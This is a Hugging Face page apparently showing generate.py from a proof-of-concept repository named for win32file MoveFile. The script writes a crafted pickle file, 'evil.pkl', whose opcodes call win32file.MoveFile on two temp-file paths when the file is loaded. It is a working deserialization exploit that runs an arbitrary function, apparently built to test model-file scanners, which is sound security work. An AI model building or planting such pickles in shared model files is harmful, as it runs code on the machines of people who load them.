win32file-MoveFile-poc / generate.py
AeonAIRisk's picture
Upload generate.py with huggingface_hub
12bd360 verified
Raw
History Blame Contribute Delete
305 Bytes
import pathlib
p=pathlib.Path(__file__).with_name('evil.pkl')
p.write_bytes(b'\x80\x02cwin32file\nMoveFile\n(\x8c?C:\\Users\\uozer\\AppData\\Local\\Temp\\opencode\\w37_movefile_src.txt\x8c?C:\\Users\\uozer\\AppData\\Local\\Temp\\opencode\\w37_movefile_dst.txttR.')
print('wrote', p, p.stat().st_size)